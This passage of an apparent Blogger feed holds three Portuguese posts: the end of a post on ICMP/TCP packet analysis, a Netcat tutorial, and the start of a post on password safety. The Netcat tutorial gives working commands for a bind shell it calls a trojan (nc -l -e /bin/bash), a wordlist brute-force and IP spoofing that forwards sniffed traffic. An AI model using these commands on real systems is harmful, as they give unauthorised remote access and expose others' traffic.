!"#&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;2425 2627 2829 2a2b 2c2d 2e2f 3031 3233&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;$%&amp;amp;'()*+,-./0123&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;span lang="EN-US"&gt;3435 3637&lt;span style="font-size:0pt;"&gt;                                    &lt;/span&gt;4567&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;14:12:08.090105 localhost &gt; localhost: icmp: echo reply &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;(ttl 64, id 39567, len 84)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;/span&gt;4500 0054 9a8f 0000 4001 e217 7f00 0001&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;E..T....@.......&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;span lang="EN-US"&gt;7f00 0001 0000 699c 9d07 000b 68ae dd40&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;......i.....h..@&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;/span&gt;c75e 0100 0809 0a0b 0c0d 0e0f 1011 1213&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;.^..............&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;1415 1617 1819 1a1b 1c1d 1e1f 2021 2223&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;............ !"#&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;2425 2627 2829 2a2b 2c2d 2e2f 3031 3233&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;$%&amp;amp;'()*+,-./0123&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;3435 3637&lt;span style="font-size:0pt;"&gt;                     &lt;/span&gt;&lt;span style="font-size:0pt;"&gt;               &lt;/span&gt;4567&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;... ( muitas linhas )&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;14:12:07.080130 localhost &gt; localhost: icmp: echo reply &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;(ttl 64, id 39566, len 84)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;/span&gt;4500 0054 9a8e 0000 4001 e218 7f00 0001&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;E..T....@.......&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;7f00 0001 0000 55c4 9d07 000a 67ae dd40&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;......U.....g..@&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;dc37 0100 0809 0a0b 0c0d 0e0f 1011 1213&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;.7..............&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;1415 1617 1819 1a1b 1c1d 1e1f 2021 2223&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;............ !"#&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;2425 2627 2829 2a2b 2c2d 2e2f 3031 3233&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;$%&amp;amp;'()*+,-./0123&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;3435 3637&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p class="MsoNormal" align="justify"&gt;Como vimos, apartir da segunda coluna os valores mudam, antes não, isso já pode nos dar um padrão para analisar, vamos ver como ocorre, isso em um tráfego TCP normal: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;14:14:50.624177 201.0.11.121.32891 &gt; 192.94.73.21.telnet: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;P [tcp sum ok]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;196:203(7) ack 184 win 5808 &lt;nop timestamp=""&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/nop&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;(DF) [tos 0x10] (ttl 64, id 944, len 59)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;4510 003b 03b0 4000 4006 5910 c900 0b79&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;E..;..@.@.Y....y&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;/span&gt;c05e 4915 807b 0017 a787 ab3e 99fb 7ab0&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;.^I..{.....&gt;..z.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;8018 16b0 984d 0000 0101 080a 0008 b2de&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;.....M..........&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;span lang="EN-US"&gt;0000 0006 7932 6834 636b 0a&lt;span style="font-size:0pt;"&gt;                  &lt;/span&gt;....y2h4ck.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;14:14:51.147184 192.94.73.21.telnet &gt; 201.0.11.121.32891: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;P [tcp sum ok]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;193:205(12) ack 203 win 17520 &lt;nop timestamp=""&gt;&lt;/nop&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;570078&gt; [telnet WILL&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;ECHO] [tos 0x10]&lt;span style="font-size:0pt;"&gt;  &lt;/span&gt;(ttl 49, id 39061, len 64)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;  &lt;/span&gt;&lt;span style="font-size:0pt;"&gt;  &lt;/span&gt;&lt;/span&gt;4510 0040 9895 0000 3106 1326 c05e 4915&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;E..@....1..&amp;amp;.^I.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;c900 0b79 0017 807b 99fb 7ab9 a787 ab45&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;...y...{..z....E&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;8018 4470 0f3f 0000 0101 080a 0000 002e&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;..Dp.?..........&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;span lang="EN-US"&gt;0008 b2de fffb 0150 6173 7377 6f72 643a&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;.......Password:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;14:14:55.497348 64.12.24.192.https &gt; 201.0.11.121.filenet-nch: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;. [tcp sum ok] ack 6 win 16384 (DF) (ttl 104, id 37429, len 40)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;4500 0028 9235 4000 6806 5355 400c 18c0&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;E..(.5@.h.SU@...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;/span&gt;c900 0b79 01bb 8002 abf8 d80f 5c38 5546&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;...y........8UF&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;5010 4000 8b4a 0000&lt;span style="font-size:0pt;"&gt;                          &lt;/span&gt;P.@..J..&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;p class="MsoNormal" style="margin-bottom: 12pt;" align="justify"&gt;Analisem a linha que acabamos de ver nesse caso, viu, elas não permanecem inalteradas, elas vão modificando seu valor juntamente aos outros, então já temos duas conclusões, os Payloads são tratados diferentemente em pacotes com estado e em pacotes ICMP sem estado.&lt;br /&gt;&lt;br /&gt;Você se pergunta agora, em que isso me ajudará?&lt;br /&gt;Digamos que você está analisando seu tráfego ICMP e de repente se depara com um padrão alterado, a primeira vista provavelmente você nem sequer se daria conta desse "padrão" diferente. Essa situação seria encontrada em túneis ICMP para serviços de HTTP, como por exemplo o &lt;i&gt;wwwtunel&lt;/i&gt; (disponível em &lt;a href="http://www.thc.org/"&gt;http://www.thc.org/&lt;/a&gt;), onde o tráfego da backdoor em túnel é encapsulado dentro de chamadas ICMP, passando assim desapercebido (ou quase) pela nossa análise.&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 12pt;" align="justify"&gt;Bem, a partir daqui já se tem uma idéia de como se funciona o tráfego de informações em redes/internet. O próximo texto será como usar esse conhecimento junto com o HPING2.&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 12pt;"&gt;Espero ter sido bem claro.&lt;br /&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div align="justify"&gt;Abraços&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: right;" align="justify"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Mário Miranda de Magalhães&lt;/span&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112713778880918416?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112713778880918416/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112713778880918416' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112713778880918416'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112713778880918416'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/09/analise-de-pacotes-tcp-icmp.html' title='Analise de pacotes TCP/ ICMP'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112558065253028401</id><published>2005-09-01T10:04:00.000-03:00</published><updated>2005-09-19T10:28:01.476-03:00</updated><title type='text'>Usando o Netcat</title><content type='html'>&lt;div style="text-align: justify;"&gt;Netcat é uma das mais versáteis ferramentas de rede que eu conheço. Então aqui vai um pouco da minha experiênica nesse programa maravilhoso.&lt;br /&gt;&lt;br /&gt;Esse é um artigo básico das funcionalidades do Netcat. Com um pouco de imaginação e criatividade você pode transformá-lo numa ferramenta, digamos, bastante útil para qualquer tipo de aplicação.&lt;br /&gt;&lt;br /&gt;Para começar:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ nc -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A tradução do "help" dele está aí em baixo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;p style="text-align: justify;"&gt;-e "comando" .:[ Executa o comando especificado usando como entrada (stdin) os dados recebidos pela rede e enviando os dados de saída (stdout e stderr) para a rede. Essa opção somente estará presente se o nc for compilado com a opção GAPING_SECURITY_HOLE, já que permite que usuários disponibilizem programas para qualquer um conectado a rede. ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-i .:[ Especifica o intervalo de tempo no qual as linhas de texto serão enviadas ou recebidas. ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-l .:[ Coloca no netcat em estado de escuta (listening) ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-L .:[Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de comando caso a conexão feche ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-n .:[ Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas a servidores DNS; ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-o "filename" .:[ Usando para obter um log dos dados de entrada ou saída, em formato hexadecimal; ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-p .:[ Especifica a porta a ser usada, sujeito a disponibilidade e a restrições de privilégio; ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-r .:[ Faz as portas do portscan serem escolhidas aleatóriamente; ]:.&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-s .:[ Especifica o endereço IP da interface usada para enviar os pacotes. Pode ser usado para spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP desejado; ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-t .:[ Permite usar o nc para criar sessões de telnet por script. Precisa estar compilado com a opção -DTELNET; ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-u .:[ Usar UDP ao invés de TCP ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-v .:[ Controla o nível de mensagens mostradas na tela; ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-w .:[ Limita o tempo máximo para que uma conexão seja estabelecida; ]:.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;-z .:[ Para evitar o envio de dados através de uma conexão TCP, e limitar os dados de uma conexão UDP. ]:.&lt;br /&gt;&lt;/p&gt; &lt;div style="text-align: justify;"&gt;&lt;br /&gt;É muito importante lembrar que comandos e sintaxes do Linux podem ser misturadas, assim como a utilização de pipes( ), &lt;, &gt; e &gt;&gt;.&lt;br /&gt;&lt;br /&gt;Veremos agora, a versatilidade e utilização dos comandos em ação, ou seja a mão na massa:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1- Conectando-se a um host&lt;/span&gt;&lt;br /&gt;É feita da mesma maneira que o telnet. É especificado apenas um host e a porta a se conectar.&lt;br /&gt;Exemplos:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ nc mail.yahoo.com.br 110&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ nc www.uol.com.br 80&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lembrando que a porta 110 é dos servidores de POP3 e a 80 é de servidores web.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2- Abrindo uma porta (listenning)&lt;/span&gt;&lt;br /&gt;É utilizada a sintaxe -l para colocar em listenning e -vv para retornar eco com detalhes.&lt;br /&gt;A seguir é estipulada a porta:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ nc -l -p 53 -vv&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Será retornada uma mensagem: "listenning on [any] 53 ... "&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;p style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;3- Transferindo Arquivos&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Transferir arquivos de um host para outro usando o netcat é bastante simples. Basta configurar o lado server (que vai receber o arquivo) para "escutar" uma porta específica e redirecionar todos os dados recebidos para um arquivo. Colocando-se um timeout, o servidor irá perceber quando não existem mais dados chegando e irá fechar a conexão.&lt;br /&gt;No lado cliente da conexão, simplesmente conecta-se à porta do servidor e passa-se o arquivo a ser tranferido como entrada. &lt;/p&gt;&lt;p style="text-align: justify;"&gt;Servidor:&lt;br /&gt;&lt;span style="font-family:courier new,courier,mono;"&gt;&lt;em&gt;$ nc -vvn -l -p 3000 -w 30 &gt; file&lt;br /&gt;Listening on any address 3000&lt;/em&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Cliente:&lt;br /&gt;&lt;em&gt;&lt;span style="font-family:courier new,courier,mono;"&gt;$ nc -vvn -w 2 10.0.0.1 3000 &lt;&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;O servidor irá mostrar a seguinte mensagem quando uma conexão for estabelecida:&lt;br /&gt;&lt;em&gt;&lt;span style="font-family:courier new,courier,mono;"&gt;Connection from 10.0.0.1:1028&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Novamente, a conexão deve ser terminada usando-se o CTRL-C. O servidor irá mostrar:&lt;br /&gt;&lt;span style="font-family:courier new,courier,mono;"&gt;&lt;em&gt;Exiting.&lt;br /&gt;Total received bytes: 6&lt;br /&gt;Total sent bytes: 0&lt;/em&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Enquanto que o cliente mostrará:&lt;br /&gt;&lt;em&gt;&lt;span style="font-family:courier new,courier,mono;"&gt;Total received bytes: 0&lt;br /&gt;Total sent bytes: 6&lt;/span&gt;&lt;/em&gt;&lt;/p&gt; &lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;4- Escaneando portas&lt;/span&gt;&lt;br /&gt;Será feita uma tentativa de conexão à um IP ou host e será estipulada as portas da tentativa de conexão:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ nc -vv www.qualquer_site.com.br 110 80 139&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ nc -vv www.qualquer_site.com.br 1-10000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No primeiro exemplo serão escaneadas apenas as portas 110 (POP3), 80 (web) e 139 (compartilhamento do Windows). Já no segundo exemplo serão escaneadas desde a porta 1 até a 10000. (range port de 1-10000)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5- Abrindo a porta, dando acesso a uma "shell" .:[ Trojan ]:.&lt;/span&gt;&lt;br /&gt;Será colocada a porta X em listenning, redirecionaremos a saída de dados para um shell (/bin/bash). Assim quando alguém se conectar a essa porta terá domínio total sobre o computador. Funciona de forma semelhante a um trojan.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ nc -l -e /bin/bash -p 2332&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nesse caso acima quem se conectar à máquina na porta 2332 terá acesso irrestrito nela.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6- Usando como brute-force&lt;/span&gt;&lt;br /&gt;Comando:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ nc -vv 79 &lt; ~/wordlists.txt &gt; bruteforce_OK.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Note que conectaremos a porta do FINGER(79) e redirecionaremos o conteúdo do arquivo wordlists.txt para essa porta. Quando algum resultado for válido ele será salvo em bruteforce.log para uma análise posterior dos resultados.&lt;br /&gt;Lembrem-se, ssh ele dropa e faz LOG das conexões após três tentativas de conexão. Então muito cuidado ao usar o brute force.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;7- Fazendo um sniffer&lt;/span&gt;&lt;br /&gt;Além de tudo isto demonstrado acima, o Netcat ainda pode capturar todo o tráfego de uma rede. Iremos nos conectar a uma porta e mandar o netcat "dar eco" nela, ou seja, exibir TUDO o que passa por ela. Após isso, é só redirecionar tudo o que o Netcat gravou para um arquivo.&lt;br /&gt;Veja o comando, para melhor compreensão:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ nc -vv -L 127.0.0.1 -p 80 &gt; ~/sniffing.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nesse caso todos os dados que passarem pela porta 80 da sua máquina (127.0.0.1) será gravado no arquivo sniffing.log&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;8 - IP Spoofing&lt;/strong&gt;&lt;br /&gt;Usando o netcat, você pode fazer inclusive spoofing de endereços IP. Se você estiver escutando o tráfego em um segmento, você pode enviar esse tráfego para outro host usando o protocolo UDP.&lt;br /&gt;O comando deverá ser tipo:&lt;/div&gt; &lt;p style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="font-family:courier new,courier,mono;"&gt;$ tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip &lt;port&gt;&lt;/port&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Isso também requer que você configure o endereço IP spoofed para um alias na sua interface de rede: &lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="font-family:courier new,courier,mono;"&gt;$ ifconfig eth0:N spoofed_ip&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;onde N é o alias a ser configurado. Isso irá causar problemas com o host que está sendo spoofed, já que é feito o mesmo endereço IP é propagado por dois hosts na mesma rede. Para executar um spoofing sem causar tantos problemas, use a ferramenta hping (o próximo tutorial). &lt;/p&gt; &lt;div style="text-align: justify;"&gt;&lt;br /&gt;Agradecimentos ao Viva o Linux, ao google.com/linux , Linux IT... E muitos outros.&lt;br /&gt;&lt;br /&gt;Qualquer dúvida é só escrever.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Mário Miranda de Magalhães&lt;/span&gt;&lt;/div&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112558065253028401?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112558065253028401/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112558065253028401' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112558065253028401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112558065253028401'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/09/usando-o-netcat.html' title='Usando o Netcat'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112541039194930898</id><published>2005-08-30T10:30:00.000-03:00</published><updated>2005-09-05T08:47:00.923-03:00</updated><title type='text'>Dicas para uma senha segura!</title><content type='html'>Andei conversando com colegas meus que atuam na mesma área que eu e nós chegamos à conclusãoque senhas fracas por usuários são um terror para qualquer administrador. Com base na nossa conversa escrevi esse "pequeno texto".&lt;br /&gt;&lt;br /&gt;Vamos lá.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Será que sua senha é segura?&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;Você provavelmente já sabe que não deve criar senhas com combinações de seqüências consecutivas de números ou letras como "12345678", "lmnopqrs" ou as letras vizinhas no seu teclado, como "qwerty" ou "asdfg". E você também já deve ter ouvido dizer que não é uma boa idéia usar o seu nome de logon, o nome do marido/esposa ou a sua data de nascimento como senha. Mas você sabia que não deve nunca usar uma palavra que pode ser encontrada em um dicionário, em qualquer idioma?&lt;br /&gt;Os hackers usam ferramentas sofisticadas que podem adivinhar senhas rapidamente com base em palavras encontradas em dicionários em vários idiomas, mesmo palavras comuns escritas ao contrário.&lt;br /&gt;Se você usa uma palavra comum como senha, pode pensar que estará protegido se substituir as letras por números ou símbolos que se parecem com as letras, como M4r10 ou P4sSw0rd.&lt;br /&gt;Os hackers conhecem esses truques também.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Como fazer sua própria senha segura!!!&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Uma senha segura possui ao menos oito caracteres, inclui uma combinação de letras, números e símbolos e é fácil de ser lembrada, mas difícil de ser adivinhada.&lt;br /&gt;O modo mais rápido de criar uma senha segura que você não precisará escrever num papel é criar uma frase secreta. Uma frase secreta é uma frase que você pode se lembrar facilmente, como: "Adoro meu computador!" e use a imaginação para misturar os os caracteres: "4meuc0mp!"&lt;br /&gt;Bem simples não?&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Como evitar que sua senha caia em mãos erradas!?&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Mesmo que você saiba que não deve escrever as senhas ou compartilhá-las com amigos, você também deve ter cuidado quando a fornece ao site onde a criou. Um modo usado pelos hackers para enganar as pessoas é fazer com que forneçam suas senhas e outros dados pessoais através de um golpe chamado "phishing". O Phishing consiste em enviar emails falsos que parecem vir de sites populares como eBay, Amazon, VirtualCard, Bancos em geral. Os emails se parecem com os oficiais que muitas pessoas atendem a solicitações de digitar nome de usuário e senha.&lt;br /&gt;Aí já se imagina o quanto de dor de cabeça você pode 